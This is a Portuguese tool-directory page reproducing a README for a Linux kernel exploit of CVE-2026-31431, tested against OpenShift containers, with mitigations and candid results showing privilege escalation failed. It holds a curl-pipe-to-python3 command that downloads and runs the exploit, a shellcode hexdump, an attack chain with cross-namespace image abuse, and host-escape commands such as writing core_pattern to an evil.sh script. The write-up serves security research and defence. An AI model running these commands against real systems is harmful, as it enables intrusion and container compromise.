Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-31431 — Exploit para o kernel Linux CVE-2026-31431 que causa corrupção do cache de páginas por meio de manipulação de AEAD authencesn, visando escalonamento de privilégios em contêineres e ambientes OpenShift. | Kitploit
Ferramentas/GitHubGitHub/seanrickerd/cve-2026-31431
Segurança de Infraestrutura em NuvemEscalada de PrivilégiosSegurança de ContêineresFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit para o kernel Linux CVE-2026-31431 que causa corrupção do cache de páginas por meio de manipulação de AEAD authencesn, visando escalonamento de privilégios em contêineres e ambientes OpenShift.

Ver Repositório
125há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-31431 "Copy Fail" - Vulnerabilidade de Corrupção do Page Cache

Corrupção do page cache do kernel Linux via manipulação de AEAD authencesn.

⚠️ IMPORTANTE: Atualização do Estado de Exploração (1 de maio de 2026)

Após testes extensivos em múltiplos clusters OpenShift 4.20.16 com kernels RHEL 9.6:

  • ✅ Corrupção do Page Cache: CONFIRMADA - shellcode de 160 bytes injetado com sucesso
  • ✅ Vulnerabilidade do Kernel: EXPLORÁVEL a partir de containers sem privilégios (zero capabilities)
  • ❌ Escalação de Privilégios: NÃO ALCANÇADA - UID permanece inalterado apesar do cache corrompido
  • ❌ Execução de Código: NÃO OBSERVADA - Páginas modificadas visíveis em leituras, mas não executam
  • ✅ SCC Restricted-v2: EFICAZ - Impede escape de container, limita o raio de impacto

Consulte a seção Resultados de Testes Abrangentes para detalhes completos.


Visão Geral

CVE-2026-31431 é uma vulnerabilidade do kernel Linux na implementação criptográfica AEAD authencesn que permite que processos sem privilégios corrompam o page cache de arquivos legíveis via sockets AF_ALG e manipulação da syscall splice().

Os testes mostram: A corrupção do page cache funciona de forma confiável, mas a escalada de privilégios NÃO ocorre em kernels RHEL 9.6 em nossos ambientes de teste.

Pontuação CVSS: 7.8 (Alta)
Afetados: Versões do kernel Linux com suporte a authencesn (2017-2026)
Divulgação Pública: 29 de abril de 2026

Recursos

  • Compatível com Python 3.9+: Inclui wrapper da syscall splice() via ctypes
  • Portátil: Funciona em qualquer sistema Linux com kernel vulnerável
  • Confiável: Não requer condições de corrida
  • Limpo: Shellcode de 160 bytes, exploração determinística

Requisitos

  • Kernel Linux com implementação authencesn vulnerável (patch pré-abril de 2026)
  • Python 3.9+
  • Acesso de usuário sem privilégios
  • Binário setuid legível (padrão: /usr/bin/su)

Uso

Uso Básico```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### A partir de um Arquivo Local```bash
python3 exploit.py
su

Comportamento Real do Exploit (Com Base em Testes)

O que IRÁ acontecer:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**Verificação do Page Cache (confirma corrupção):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

O que NÃO vai acontecer (com base em testes):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**Conclusão:** A corrupção do cache de páginas é bem-sucedida, mas a escalada de privilégios falha.

## Detalhes Técnicos

### Vulnerabilidade

A implementação de `authencesn` (Criptografia Autenticada com Dados Associados - Número de Sequência Estendido) do kernel Linux apresenta uma falha no tratamento de operações in-place. Ao processar operações AEAD submetidas por meio de um socket AF_ALG, uma página do cache de páginas pode acabar na lista de dispersão (scatterlist) de destino gravável do kernel.

### Técnica de Exploração

1. **Criar socket AF_ALG** com `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parâmetros AEAD** (chave, authsize)
3. **Abrir binário setuid alvo** (ex.: `/usr/bin/su`)
4. **Usar splice()** para colocar o binário no cache de páginas
5. **Acionar operação AEAD in-place** causando gravação no cache de páginas
6. **Gravar shellcode** 4 bytes por vez
7. **Executar binário modificado** para obter root

### Shellcode

O exploit usa um shellcode de 160 bytes que modifica o `/usr/bin/su` para:
- Ignorar a autenticação por senha
- Conceder acesso a shell root
- Manter funcionalidade normal para usuários sem privilégios

## Compatibilidade com Python 3.9

Python 3.9 e versões anteriores não possuem `os.splice()` na biblioteca padrão. Este exploit inclui uma implementação baseada em ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Isto faz o exploit funcionar em:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
  • ✅ Python 3.10+
  • ✅ Qualquer Python com suporte a ctypes

Resultados Abrangentes de Testes

Ambiente de Teste 1: Cluster OpenShift 4.20.16 (Primeiro Teste)

Configuração do Nó:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (mais restritivo)
  • UID: 1000830000 (namespace de usuário)
  • Capabilities: 0x0000000000000000 (ZERO)

Resultados dos Testes:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### Ambiente de Teste 2: Cluster OpenShift Novo (Teste de Verificação)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuração do Nó:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idêntico ao Teste 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (namespace de usuário)
- Capabilities: 0x0000000000000000 (ZERO)

**Resultados do Teste:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Consistência: 100% de resultados reproduzíveis em clusters independentes

Teste de Escape de Contêiner

Cenário A: Com volume hostPath (Escape de Contêiner Possível)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
Resultado: ✅ **Escape de contêiner** - modifica o cache de páginas do host (Dispositivo 33, Inode 4288)

**Cenário B: SCC restricted-v2 (sem hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Resultado: ❌ Sem escape de contêiner - afeta apenas o overlay do contêiner (inode separado)

Descoberta Crítica: o acesso a hostPath (não capabilities) é o fator determinante para o escape de contêiner.

Por que a Escalação de Privilégios Falha

Explicações Possíveis (Requer Pesquisa Adicional):

  1. Caminhos de Código de Leitura vs Execução

    • A corrupção do page cache afeta operações mmap(PROT_READ)
    • Mapeamentos executáveis mmap(PROT_EXEC) podem ignorar o cache corrompido
    • O kernel pode usar caminhos de código diferentes para páginas executáveis
  2. Proteções de Memória

    • Aplicação de W^X (Write XOR Execute)
    • Validação de páginas executáveis do kernel
    • Verificações de integridade de código SELinux/AppArmor
  3. Específico da Versão do Kernel

    • O RHEL 9.6 (5.14.0-570.96.1) pode ter proteções adicionais
    • A pesquisa original do CVE pode ter usado versões diferentes do kernel
    • O comportamento pode variar entre versões do kernel

O Que Realmente Funciona

TesteOpenShift 4.20 #1OpenShift 4.20 #2Status
Acesso ao Socket AF_ALG✅✅Funciona
Corrupção do Page Cache✅✅Funciona
Injeção de Shellcode✅✅Funciona
Shellcode Visível (READ)✅✅Funciona
Alteração de UID (Escalação de Privilégios)❌❌Falha
Execução de Código❌❌Falha
Escape de Contêiner (restricted-v2)❌❌Bloqueado

Conclusão: A vulnerabilidade do kernel é real (corrupção do page cache comprovada), mas a exploração prática é limitada.

Sistemas Testados

SistemaKernelCorrupção do Page CacheEscalação de PrivilégiosNotas
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ SIM❌ NÃOWorkers do OpenShift 4.20.16
Contêineres OpenShift 4.205.14.0-570.96.1.el9_6✅ SIM❌ NÃOSCC restricted-v2

Nota: Testes limitados a kernels RHEL 9.6. O comportamento em outras distribuições/versões não foi verificado.

Teste de Contêiner OpenShift

Testado com sucesso em um cluster OpenShift 4.20 executando RHEL CoreOS 9.4. Esta seção documenta a bypass do isolamento de namespace e o comprometimento do contêiner.

⚠️ Correção Importante: O teste inicial afirmou incorretamente acesso ao filesystem do host via /proc/1/root. Isso estava incorreto - /proc/1/root em um contêiner isolado aponta para o filesystem do próprio contêiner, não para o host do nó worker do OpenShift. Consulte attacks/README.md para uma análise detalhada.

Resumo da Cadeia de Ataque```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### Fase 1: Bypass de Isolamento de Namespace

**Vulnerabilidade:** O registry interno do OpenShift permite pulls de imagens entre namespaces sem a devida aplicação de RBAC.

**Exploração:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

Resultado:

  • ✅ Imagem openshift/cli puxada do namespace openshift
  • ✅ Acesso obtido a oc, kubectl, curl, openssl, Python 3.9
  • ✅ Isolamento de namespace contornado

Impacto: Permite movimento lateral entre tenants e acesso a ferramentas privilegiadas.

Fase 2: Exploração do Kernel no Container

Implantação:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**Resultado:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

Capacidades Após a Exploração:

  • ✅ Corrupção do cache de páginas bem-sucedida (160 bytes de shellcode visíveis)
  • ⚠️ SEM ESCALAÇÃO DE PRIVILÉGIOS - UID permanece inalterado (UID do namespace de usuário)
  • ✅ Pode corromper arquivos do contêiner no cache de páginas (operações de LEITURA afetadas)
  • ✅ Acesso à rede (servidor da API, registry, internet)
  • ❌ SEM acesso root real apesar das alegações
  • ❌ SEM capacidades (todos os CapPrm/CapEff = 0x0000000000000000)
  • ❌ Ainda em namespaces isolados de PID/mount/user
  • ❌ SEM acesso ao filesystem do host do nó worker
  • ❌ SEM visibilidade dos processos do host

Fase 3: Análise do Ambiente do Contêiner

Verificação da Realidade - /proc/1/root NÃO é o host:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**Detalhes do Sistema Operacional do Contêiner:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

Fase 4: Reconhecimento de Rede a partir do Contêiner

Scripts Criados no Contêiner (disponíveis no diretório attacks/):

1. Reconhecimento do Contêiner (recon.sh - 1425 bytes)

  • Enumera o ambiente do contêiner
  • Configuração de rede a partir da perspectiva do pod
  • Processos em execução (apenas do contêiner, não do host)
  • Tenta descobrir serviços Kubernetes/OpenShift
  • Realidade: Apenas vê o ambiente do próprio contêiner

2. Script de Movimento Lateral (lateral.sh - 1754 bytes)

  • Varredura de rede a partir do IP do pod (faixa 10.130.x.x)
  • Testes de conectividade com o servidor da API
  • Tentativas de descoberta de serviços
  • Realidade: Limitado à perspectiva da rede do pod, sem acesso ao host

3. Tentativas Falhas de Exploração do Host

  • host-rootkit.py - Tenta instalar backdoor em /proc/1/root/usr/bin/su
    • Resultado: Apenas instala backdoor no su do contêiner, não no su do host
  • modprobe-escape.py - Tenta escape via módulo do kernel
    • Resultado: Bloqueado pelo sistema de arquivos /proc somente leitura
  • trigger-rootkit.sh - Aciona o su com backdoor
    • Resultado: Obtém root no contêiner (mesmo que o exploit base)

Consulte attacks/README.md para a análise completa do que funcionou versus o que não funcionou.

Capacidades de Rede a partir do Pod

Teste de Conectividade:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**Oportunidades de Movimento Lateral:**
- ✅ Acesso total à internet (download de ferramentas, comunicação C2, exfiltração)
- ✅ Acesso à API interna (enumerar recursos do cluster)
- ✅ Acesso ao registry interno (ataques de envenenamento de imagens)
- ✅ Varredura entre nós via rede de pods

### Técnicas de Escape de Host Bloqueadas

Estas técnicas foram tentadas, mas bloqueadas pelos controles de segurança do OpenShift:

**1. nsenter (o namespace de usuário impede)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot (Requer CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. Carregamento de Módulos do Kernel (Sem capabilities + endurecimento do RHCOS)**
- Sem binários `insmod`, `modprobe`, `kmod` no RHCOS
- `/lib/modules` está vazio (SO otimizado para contêineres)
- `CAP_SYS_MODULE` não está disponível
- `/proc/sys/kernel/modprobe` montado somente leitura

**4. cgroup release_agent (Montado somente leitura)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. Manipulação de /proc/sys (sistema de arquivos somente leitura)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### O Que Realmente Alcançámos

✅ **Bypass de Isolamento de Namespace**
- Pull de imagens entre namespaces a partir do registry interno
- Acesso a imagens de containers privilegiados (openshift/cli)

✅ **Corrupção de Page Cache no Container**
- Modificação do page cache de `/usr/bin/su` do container via CVE-2026-31431
- Injeção de shellcode de 160 bytes confirmada (visível em hexdump)
- A corrupção afeta operações de LEITURA em ficheiros do container

✅ **Acesso à Rede a partir do Pod**
- Conectividade total à internet (exfiltração, C2, download de ferramentas)
- Acesso ao servidor de API interno (limitado por RBAC)
- Acesso ao registry interno (potencial de envenenamento de imagens)
- Scanning entre pods via rede de pods

❌ **Escalação de Privilégios - FALHOU**
- Page cache corrompido mas SEM acesso root obtido
- UID permanece inalterado (UID de user namespace ~1000000+)
- Não é possível executar operações privilegiadas
- Sem acesso a /etc/shadow ou outros ficheiros restritos

❌ **Acesso ao Filesystem do Host - FALHOU**
- `/proc/1/root` aponta para a raiz do **container**, NÃO do host
- Sem acesso real ao filesystem do nó worker do OpenShift
- Scripts implementados no `/tmp` do container, não no `/tmp` do host
- Isolamento de Device/Inode impede acesso ao page cache do host

❌ **Escape Completo do Host - BLOQUEADO**
- Isolamento de user namespace eficaz
- Zero capabilities impedem acesso via nsenter/chroot/host
- SCC bloqueia criação de pods privilegiados
- Hardening do RHCOS impede carregamento de módulos
- restricted-v2 impede escape de containers

### Avaliação de Segurança do OpenShift

**Controlos que Funcionaram ✅**
- Security Context Constraints (SCC) - Impediu escape de containers
- User Namespaces - Isolou o page cache para o overlay do container
- Zero Capabilities - Impediu acesso ao host apesar do exploit de kernel
- Aplicação de SELinux - Isolamento de containers mantido
- /proc/sys só de leitura - Bloqueou tentativas de manipulação do kernel
- Hardening do RHCOS - Sem capacidade de carregamento de módulos

**Controlos que Funcionaram Parcialmente ⚠️**
- Seccomp RuntimeDefault - Ativo mas permite sockets AF_ALG
- Remoção de Capabilities - Eficaz mas não impede corrupção de page cache

**Controlos que Falharam ❌**
- RBAC de Namespace - Pull de imagens entre namespaces permitido
- Proteção do Kernel - Interface AF_ALG acessível a partir de containers
- Filtragem de Syscalls - splice() não restringido pelo seccomp padrão

**Avaliação Geral:**
Embora o CVE-2026-31431 seja uma vulnerabilidade real de kernel, a abordagem de defesa em profundidade do OpenShift (SCC + user namespaces + remoção de capabilities + isolamento de filesystem) impediu uma exploração significativa. O exploit corrompe o page cache mas NÃO alcança escalação de privilégios nem escape de containers a partir de pods restricted-v2.

### Recomendações para o OpenShift

**1. Bloquear Sockets AF_ALG**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. Aplicar RBAC do Registry de Imagens```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. Perfil Seccomp Aprimorado**
Bloqueie syscalls perigosas:
- `socket(AF_ALG, ...)` - Família 38
- Restrinja `splice()` a descritores de arquivo confiáveis
- Bloqueie `init_module`, `finit_module` se ainda não estiverem bloqueados

**4. Monitoramento em Tempo de Execução**
Alerta sobre:
- Criação de socket AF_ALG em contêineres
- Pulls de imagens entre namespaces
- Padrões suspeitos de syscall `splice()`
- Indicadores de comprometimento de contêiner (processos root inesperados)

### Documentação Completa do Ataque

Para documentação completa da cadeia de ataque, incluindo:
- Linha do tempo da exploração
- Mapeamentos MITRE ATT&CK
- Análise técnica detalhada
- Todos os scripts de reconhecimento

Consulte:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Análise detalhada do que funcionou vs. o que não funcionou
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentação original (contém erros; consulte attacks/README.md para correções)

## Mitigações

### Imediatas```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Filtro Seccomp

Bloquear a criação de sockets AF_ALG:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### Patch do Kernel

Aplique os patches do fornecedor:
- Red Hat: Monitore https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ com authencesn revertido para operações fora do local

## Perguntas Frequentes

### P: Este exploit me dá acesso root?

**R:** NÃO - Com base em testes extensivos em kernels RHEL 9.6 (5.14.0-570.96.1), o exploit corrompe com sucesso o cache de páginas do kernel, mas NÃO alcança escalonamento de privilégios. O UID permanece inalterado após executar o binário com backdoor.

### P: Posso escapar de um contêiner Kubernetes/OpenShift restrito?

**R:** NÃO (com SCC restricted-v2) - A corrupção do cache de páginas é isolada ao sistema de arquivos overlay do contêiner. A fuga de contêiner requer acesso a recursos compartilhados do host via hostPath ou volumes semelhantes. O SCC restricted-v2 impede efetivamente a fuga ao bloquear o acesso a recursos do host.

### P: Por que o exploit afirma "root", mas os testes mostram que não funciona?

**R:** O código do exploit foi escrito com base na divulgação do CVE e em análise teórica. Nossos testes no mundo real em kernels RHEL 9.6 revelaram:
- A corrupção do cache de páginas funciona ✅ (comprovada via hexdump)
- A execução de código a partir do cache corrompido NÃO funciona ❌ (UID inalterado)

Isso pode ser devido a:
- Diferenças de versão do kernel (o RHEL 9.6 pode ter proteções)
- Aplicação da proteção de memória W^X
- Caminhos de código diferentes para execução vs. leitura de memória

### P: Funciona em TODOS os kernels Linux?

**R:** DESCONHECIDO - Os testes foram limitados a:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- Nós de trabalho OpenShift 4.20.16

O comportamento em outras distribuições/versões de kernel NÃO foi verificado. As condições originais da pesquisa do CVE podem diferir.

### P: Devo ainda assim corrigir meus sistemas?

**R:** SIM - Absolutamente. Mesmo que o escalonamento de privilégios não tenha sido alcançado:

1. A vulnerabilidade do kernel É real (corrupção do cache de páginas confirmada)
2. O comportamento PODE diferir em outras versões de kernel
3. Com volumes hostPath, a fuga de contêiner É possível
4. A defesa em profundidade exige a eliminação de todas as vulnerabilidades
5. Pesquisas futuras podem descobrir maneiras de alcançar a execução de código

A correção do kernel é obrigatória para a segurança.

### P: O que você realmente comprovou em seus testes?

**R:** Nossos testes abrangentes em 2 clusters OpenShift independentes comprovaram:

✅ **Confirmado:**
- A vulnerabilidade do kernel CVE-2026-31431 é explorável
- O cache de páginas pode ser corrompido a partir de contêineres sem privilégios (zero capabilities)
- Interface AF_ALG acessível apesar do SCC restricted-v2
- A injeção de shellcode é bem-sucedida (visível no hexdump)

❌ **NÃO Funcionou:**
- Escalonamento de privilégios (UID inalterado)
- Execução de código a partir do cache de páginas corrompido
- Fuga de contêiner de pods restricted-v2
- Acesso ao sistema de arquivos do host sem hostPath

🛡️ **Defesa em Profundidade Eficaz:**
- SCC + namespaces de usuário + descarte de capabilities impediram a exploração
- Múltiplas camadas de segurança limitaram o raio de explosão
- O isolamento do contêiner se manteve apesar da vulnerabilidade do kernel

## Aviso de Segurança

Este repositório documenta uma vulnerabilidade do kernel para:
- ✅ Testes e pesquisas de segurança autorizados
- ✅ Validação e análise de vulnerabilidades
- ✅ Conscientização e educação em segurança
- ✅ Desenvolvimento de medidas defensivas

**Descobertas baseadas em:**
- Testes controlados em sistemas autorizados
- Múltiplos ambientes de cluster independentes
- Verificação abrangente e testes de reprodutibilidade

**NÃO use em sistemas sem autorização explícita.**

## Referências

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgação:** https://copy.fail
- **Patch do Kernel:** Commit do kernel Linux (1º de abril de 2026)
- **Advisory Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431

## Créditos

- **Descoberta do CVE:** Taeyang Lee (Theori)
- **Análise Original:** Xint Code Research Team
- **Implementação do Exploit:** Sean Rickerd
- **Testes e Validação Abrangentes:** Sean Rickerd
  - 2 clusters OpenShift 4.20.16 independentes
  - Kernel RHEL CoreOS 9.6 5.14.0-570.96.1
  - Comportamento real vs. reivindicado documentado
  - Eficácia do SCC restricted-v2 verificada

## Licença

Apenas para testes e pesquisas de segurança autorizados. Use por sua conta e risco.

---

**Status do Repositório:** Atualizado com resultados de testes no mundo real (1º de maio de 2026)  
**Testes:** Concluídos em 2 clusters OpenShift independentes  
**Descoberta Principal:** Corrupção do cache de páginas confirmada, escalonamento de privilégios NÃO alcançado  
**Recomendação:** Corrija o kernel apesar da exploração prática limitada
Baixar ferramenta